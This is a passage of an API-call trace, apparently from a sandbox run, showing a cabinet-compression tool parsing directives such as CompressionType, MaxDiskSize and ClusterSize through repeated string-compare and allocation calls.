10 [0151.736] atoi (_Str="1") returned 1 [0151.736] malloc (_Size=0x38) returned 0x2b7ac0 [0151.736] atoi (_Str="1") returned 1 [0151.736] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFooter3") returned 10 [0151.736] atoi (_Str="1") returned 1 [0151.736] malloc (_Size=0x38) returned 0x2b7b40 [0151.736] atoi (_Str="1") returned 1 [0151.736] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFooter4") returned 10 [0151.736] atoi (_Str="1") returned 1 [0151.736] malloc (_Size=0x38) returned 0x2b7b80 [0151.736] atoi (_Str="1") returned 1 [0151.736] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader") returned 9 [0151.736] atoi (_Str="1") returned 1 [0151.736] malloc (_Size=0x38) returned 0x2b7bc0 [0151.736] atoi (_Str="1") returned 1 [0151.736] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader1") returned 10 [0151.737] atoi (_Str="1") returned 1 [0151.737] malloc (_Size=0x38) returned 0x2b7c00 [0151.737] atoi (_Str="1") returned 1 [0151.737] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader2") returned 10 [0151.737] atoi (_Str="1") returned 1 [0151.737] malloc (_Size=0x38) returned 0x2b7c40 [0151.737] atoi (_Str="1") returned 1 [0151.737] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader3") returned 10 [0151.737] atoi (_Str="1") returned 1 [0151.737] malloc (_Size=0x38) returned 0x2b7cc0 [0151.737] atoi (_Str="1") returned 1 [0151.737] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader4") returned 10 [0151.737] atoi (_Str="1") returned 1 [0151.737] malloc (_Size=0x38) returned 0x2b7d00 [0151.737] atoi (_Str="1") returned 1 [0151.738] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader5") returned 10 [0151.738] atoi (_Str="1") returned 1 [0151.738] malloc (_Size=0x38) returned 0x2b7d40 [0151.738] atoi (_Str="1") returned 1 [0151.738] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfHeader6") returned 10 [0151.738] atoi (_Str="1") returned 1 [0151.738] malloc (_Size=0x38) returned 0x2b7d80 [0151.738] atoi (_Str="1") returned 1 [0151.738] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfSectionOrder") returned 15 [0151.738] atoi (_Str="1") returned 1 [0151.738] malloc (_Size=0x38) returned 0x2b7dc0 [0151.738] atoi (_Str="1") returned 1 [0151.738] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="MaxCabinetSize") returned 14 [0151.738] atoi (_Str="1") returned 1 [0151.738] malloc (_Size=0x38) returned 0x2b7e00 [0151.739] atoi (_Str="1") returned 1 [0151.739] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="MaxDiskFileCount") returned 16 [0151.739] atoi (_Str="1") returned 1 [0151.739] malloc (_Size=0x38) returned 0x2b7e40 [0151.739] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0151.739] atol (_Str="362496") returned 362496 [0151.739] atol (_Str="1.44M") returned 1 [0151.739] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0151.739] atol (_Str="730112") returned 730112 [0151.739] atol (_Str="1.44M") returned 1 [0151.739] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0151.739] atol (_Str="1213952") returned 1213952 [0151.739] atol (_Str="1.44M") returned 1 [0151.739] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0151.739] atol (_Str="1250304") returned 1250304 [0151.739] atol (_Str="1.44M") returned 1 [0151.739] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0151.739] atoi (_Str="1") returned 1 [0151.739] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="MaxDiskSize") returned 11 [0151.739] atoi (_Str="1") returned 1 [0151.739] malloc (_Size=0x38) returned 0x2b7e80 [0151.739] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0151.739] atol (_Str="362496") returned 362496 [0151.739] atol (_Str="1.44M") returned 1 [0151.739] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0151.739] atol (_Str="730112") returned 730112 [0151.739] atol (_Str="1.44M") returned 1 [0151.740] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0151.740] atol (_Str="1213952") returned 1213952 [0151.740] atol (_Str="1.44M") returned 1 [0151.740] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0151.740] atol (_Str="1250304") returned 1250304 [0151.740] atol (_Str="1.44M") returned 1 [0151.740] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0151.740] atoi (_Str="1") returned 1 [0151.740] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="MaxErrors") returned 9 [0151.740] atoi (_Str="1") returned 1 [0151.740] malloc (_Size=0x38) returned 0x2b7ec0 [0151.740] atoi (_Str="1") returned 1 [0151.740] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="ReservePerCabinetSize") returned 21 [0151.740] atoi (_Str="1") returned 1 [0151.740] malloc (_Size=0x38) returned 0x2b7f00 [0151.740] atoi (_Str="1") returned 1 [0151.740] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="ReservePerDataBlockSize") returned 23 [0151.740] atoi (_Str="1") returned 1 [0151.740] malloc (_Size=0x38) returned 0x2b7f40 [0151.741] atoi (_Str="1") returned 1 [0151.741] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="ReservePerFolderSize") returned 20 [0151.741] atoi (_Str="1") returned 1 [0151.741] malloc (_Size=0x38) returned 0x2b7f80 [0151.741] atoi (_Str="1") returned 1 [0151.741] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="RptFileName") returned 11 [0151.741] atoi (_Str="1") returned 1 [0151.741] malloc (_Size=0x38) returned 0x2b7fc0 [0151.741] atoi (_Str="1") returned 1 [0151.741] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="SourceDir") returned 9 [0151.741] atoi (_Str="1") returned 1 [0151.741] malloc (_Size=0x38) returned 0x2b8000 [0151.741] atoi (_Str="1") returned 1 [0151.741] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="UniqueFiles") returned 11 [0151.741] atoi (_Str="1") returned 1 [0151.742] malloc (_Size=0x38) returned 0x2b8040 [0151.742] _strcmpi (_Str1="On", _Str2="No") returned 1 [0151.742] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0151.742] _strcmpi (_Str1="On", _Str2="False") returned 9 [0151.742] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0151.742] _strcmpi (_Str1="On", _Str2="On") returned 0 [0151.742] _stat (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", _Stat=0xdf2b0) returned 0 [0151.747] malloc (_Size=0x10) returned 0x2b8c80 [0151.747] malloc (_Size=0x28) returned 0x2b5aa0 [0151.747] clock () returned 0x2e [0151.747] printf (_Format="%s%s\r") returned 19 [0151.754] malloc (_Size=0x10) returned 0x2b8ca0 [0151.754] atoi (_Str="1") returned 1 [0151.754] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="Cabinet") returned 7 [0151.754] atoi (_Str="1") returned 1 [0151.754] malloc (_Size=0x38) returned 0x2b80c0 [0151.754] _strcmpi (_Str1="1", _Str2="No") returned -61 [0151.754] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0151.754] _strcmpi (_Str1="1", _Str2="False") returned -53 [0151.754] _strcmpi (_Str1="Cabinet", _Str2="CabinetFileCountThreshold") returned -102 [0151.754] atoi (_Str="1") returned 1 [0151.754] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CabinetFileCountThreshold") returned 25 [0151.754] atoi (_Str="1") returned 1 [0151.754] malloc (_Size=0x38) returned 0x2b8100 [0151.754] _strcmpi (_Str1="Cabinet", _Str2="CabinetNameTemplate") returned -110 [0151.754] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetNameTemplate") returned -8 [0151.755] atoi (_Str="1") returned 1 [0151.755] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CabinetNameTemplate") returned 19 [0151.755] atoi (_Str="1") returned 1 [0151.755] malloc (_Size=0x38) returned 0x2b8140 [0151.755] _strcmpi (_Str1="Cabinet", _Str2="ChecksumWidth") returned -7 [0151.755] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ChecksumWidth") returned -7 [0151.755] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ChecksumWidth") returned -7 [0151.755] atoi (_Str="1") returned 1 [0151.755] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="ChecksumWidth") returned 13 [0151.755] atoi (_Str="1") returned 1 [0151.755] malloc (_Size=0x38) returned 0x2b8180 [0151.755] atoi (_Str="8") returned 8 [0151.755] atoi (_Str="1") returned 1 [0151.755] atoi (_Str="8") returned 8 [0151.755] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0151.755] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0151.755] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0151.755] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0151.755] atoi (_Str="1") returned 1 [0151.755] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="ClusterSize") returned 11 [0151.755] atoi (_Str="1") returned 1 [0151.755] malloc (_Size=0x38) returned 0x2b81c0 [0151.755] _strcmpi (_Str1="512", _Str2="360K") returned 2 [0151.755] atol (_Str="362496") returned 362496 [0151.755] atol (_Str="512") returned 512 [0151.755] _strcmpi (_Str1="512", _Str2="720K") returned -2 [0151.756] atol (_Str="730112") returned 730112 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="1.2M") returned 4 [0151.756] atol (_Str="1213952") returned 1213952 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="1.25M") returned 4 [0151.756] atol (_Str="1250304") returned 1250304 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="1.44M") returned 4 [0151.756] atol (_Str="1457664") returned 1457664 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="1.68M") returned 4 [0151.756] atol (_Str="1716224") returned 1716224 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="DMF168") returned -47 [0151.756] atol (_Str="1716224") returned 1716224 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="512", _Str2="CDROM") returned -46 [0151.756] atol (_Str="681984000") returned 681984000 [0151.756] atol (_Str="512") returned 512 [0151.756] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0151.756] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0151.756] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0151.756] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0151.756] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0151.756] atoi (_Str="1") returned 1 [0151.756] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="Compress") returned 8 [0151.756] atoi (_Str="1") returned 1 [0151.756] malloc (_Size=0x38) returned 0x2b8200 [0151.756] _strcmpi (_Str1="1", _Str2="No") returned -61 [0151.756] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0151.756] _strcmpi (_Str1="1", _Str2="False") returned -53 [0151.757] _strcmpi (_Str1="Cabinet", _Str2="CompressedFileExtensionChar") returned -14 [0151.757] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressedFileExtensionChar") returned -14 [0151.757] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressedFileExtensionChar") returned -14 [0151.757] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressedFileExtensionChar") returned -7 [0151.757] _strcmpi (_Str1="ClusterSize", _Str2="CompressedFileExtensionChar") returned -3 [0151.757] _strcmpi (_Str1="Compress", _Str2="CompressedFileExtensionChar") returned -101 [0151.757] atoi (_Str="1") returned 1 [0151.757] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CompressedFileExtensionChar") returned 27 [0151.757] atoi (_Str="1") returned 1 [0151.757] malloc (_Size=0x38) returned 0x2b8240 [0151.757] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0151.757] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0151.757] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0151.757] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0151.757] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0151.757] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0151.757] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0151.757] atoi (_Str="1") returned 1 [0151.757] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CompressionType") returned 15 [0151.757] atoi (_Str="1") returned 1 [0151.757] malloc (_Size=0x38) returned 0x2b8280 [0151.757] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0151.757] _strcmpi (_Str1="Cabinet", _Str2="CompressionLevel") returned -14 [0151.757] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionLevel") returned -14 [0151.757] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionLevel") returned -14 [0151.757] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionLevel") returned -7 [0151.757] _strcmpi (_Str1="ClusterSize", _Str2="CompressionLevel") returned -3 [0151.757] _strcmpi (_Str1="Compress", _Str2="CompressionLevel") returned -105 [0151.758] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionLevel") returned -4 [0151.758] _strcmpi (_Str1="CompressionType", _Str2="CompressionLevel") returned 8 [0151.758] atoi (_Str="1") returned 1 [0151.758] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CompressionLevel") returned 16 [0151.758] atoi (_Str="1") returned 1 [0151.758] malloc (_Size=0x38) returned 0x2b82c0 [0151.758] atoi (_Str="2") returned 2 [0151.758] atoi (_Str="1") returned 1 [0151.758] atoi (_Str="7") returned 7 [0151.758] _strcmpi (_Str1="Cabinet", _Str2="CompressionMemory") returned -14 [0151.758] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionMemory") returned -14 [0151.758] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionMemory") returned -14 [0151.758] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionMemory") returned -7 [0151.758] _strcmpi (_Str1="ClusterSize", _Str2="CompressionMemory") returned -3 [0151.758] _strcmpi (_Str1="Compress", _Str2="CompressionMemory") returned -105 [0151.758] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionMemory") returned -4 [0151.758] _strcmpi (_Str1="CompressionType", _Str2="CompressionMemory") returned 7 [0151.758] _strcmpi (_Str1="CompressionLevel", _Str2="CompressionMemory") returned -1 [0151.758] atoi (_Str="1") returned 1 [0151.758] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="CompressionMemory") returned 17 [0151.758] atoi (_Str="1") returned 1 [0151.758] malloc (_Size=0x38) returned 0x2b8300 [0151.758] atoi (_Str="18") returned 18 [0151.758] atoi (_Str="10") returned 10 [0151.758] atoi (_Str="21") returned 21 [0151.758] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0151.758] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0151.758] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0151.758] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0151.759] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0151.759] atoi (_Str="1") returned 1 [0151.759] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="DestinationDir") returned 14 [0151.759] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="Compress", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectoryTemplate") returned -1 [0151.759] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectoryTemplate") returned -4 [0151.759] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="DiskDirectoryTemplate") returned 21 [0151.759] _strcmpi (_Str1="Cabinet", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="ClusterSize", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="Compress", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskLabelTemplate") returned -1 [0151.759] _strcmpi (_Str1="CompressionType", _Str2="DiskLabelTemplate") returned -1 [0151.760] _strcmpi (_Str1="CompressionLevel", _Str2="DiskLabelTemplate") returned -1 [0151.760] _strcmpi (_Str1="CompressionMemory", _Str2="DiskLabelTemplate") returned -1 [0151.760] _strcmpi (_Str1="DestinationDir", _Str2="DiskLabelTemplate") returned -4 [0151.760] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskLabelTemplate") returned -8 [0151.760] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="DiskLabelTemplate") returned 17 [0151.760] _strcmpi (_Str1="Cabinet", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="ChecksumWidth", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="ClusterSize", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="Compress", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CompressionType", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CompressionLevel", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="CompressionMemory", _Str2="DoNotCopyFiles") returned -1 [0151.760] _strcmpi (_Str1="DestinationDir", _Str2="DoNotCopyFiles") returned -10 [0151.760] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DoNotCopyFiles") returned -6 [0151.760] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DoNotCopyFiles") returned -6 [0151.760] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="DoNotCopyFiles") returned 14 [0151.760] _strcmpi (_Str1="Cabinet", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="ClusterSize", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="Compress", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CompressionType", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CompressionLevel", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="CompressionMemory", _Str2="FolderFileCountThreshold") returned -3 [0151.760] _strcmpi (_Str1="DestinationDir", _Str2="FolderFileCountThreshold") returned -2 [0151.760] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderFileCountThreshold") returned -2 [0151.760] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderFileCountThreshold") returned -2 [0151.761] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderFileCountThreshold") returned -2 [0151.761] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="FolderFileCountThreshold") returned 24 [0151.761] _strcmpi (_Str1="Cabinet", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="ClusterSize", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="Compress", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CompressionType", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CompressionLevel", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="CompressionMemory", _Str2="FolderSizeThreshold") returned -3 [0151.761] _strcmpi (_Str1="DestinationDir", _Str2="FolderSizeThreshold") returned -2 [0151.761] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.761] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.761] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderSizeThreshold") returned -2 [0151.761] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="FolderSizeThreshold") returned -13 [0151.761] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="FolderSizeThreshold") returned 19 [0151.761] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0151.761] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0151.762] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0151.762] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0151.762] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0151.762] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0151.762] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0151.762] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="GenerateInf") returned 11 [0151.762] _strcmpi (_Str1="1", _Str2="No") returned -61 [0151.762] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0151.762] _strcmpi (_Str1="1", _Str2="False") returned -53 [0151.762] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0151.762] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0151.762] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0151.762] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0151.762] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0151.762] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0151.762] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0151.762] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0151.762] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfCabinetHeader") returned 16 [0151.762] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetLineFormat") returned -6 [0151.762] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetLineFormat") returned -6 [0151.762] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetLineFormat") returned -6 [0151.762] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetLineFormat") returned -6 [0151.762] 